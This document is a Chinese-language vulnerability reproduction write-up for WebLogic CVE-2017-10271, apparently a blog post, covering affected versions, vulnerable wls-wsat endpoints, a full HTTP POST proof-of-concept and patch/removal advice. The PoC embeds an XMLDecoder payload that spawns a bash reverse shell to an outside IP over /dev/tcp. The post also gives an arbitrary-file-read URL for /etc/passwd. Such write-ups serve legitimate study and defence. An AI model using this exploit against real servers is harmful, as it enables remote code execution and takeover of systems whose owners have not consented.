Weblogic CVE-2017-10271 漏洞复现&&流量分析
Weblogic CVE-2017-10271 XMLDecoder反序列化
1.Weblogic-XMLDecoder漏洞浅析
0x01 前生今世:
? weblogic:7001端口
? redis :6379 端口
? tomcat: 8009 端口
? 此处存在任意文件读取下载漏洞:http://your-ip:7001/hello/file.jsp?path= 如读取 passwd文件:http://your-ip:7001/hello/file.jsp?path=/etc/passwd
? 首先此漏洞前身为CVE-2017-3506,但是此补丁对于漏洞的修复只限于做了类似于黑名单一样的限制,并没有从原理上解决,才导致了CVE-2017-10271漏洞的出现。绕过了补丁做的限制即可触发RCE远程执行命令。
0x02 涉及版本:
? 10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2
0x03 利用姿势:
2. 漏洞点在于:
‘‘‘ 例如 ‘‘‘
http://IP:7001/wls-wsat/CoordinatorPortType
3. 其他可利用URI:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
4. 如何利用?
? 在上方8个路径中任意选择一个路径,将content-type改成text/xml类型
即content-type:text/xml
,然后改为post方式传入payload,即可漏洞复现,如果此处为修改类型,则会收到内容为不支持的类型的返回包。
5. POC
‘‘‘ 反弹shell ‘‘‘
‘‘‘ 注意反弹shell语句需要像下面一样进行url编码 ‘‘‘
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 641
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.124.141/1234 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
6. 抓包分析
0x01 建立反弹shell过程抓包
0x02 反弹shell中执行命令抓包
7. 修复建议
-
更新Oracle相应补丁
-
对wls-wsat的资源访问在防火墙或路由器和交换机上做acl访问控制规则
-
在不影响业务的前提下删除相应war包
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启weblogic后观察wls-wsat/目录下那8个URI是否还可访问,如为404即删除成功。
8. 参考文章
https://www.freebuf.com/articles/web/197339.html ---weblogic从入门到放弃
https://www.freebuf.com/vuls/179579.html --- weblogic JAVA反序列化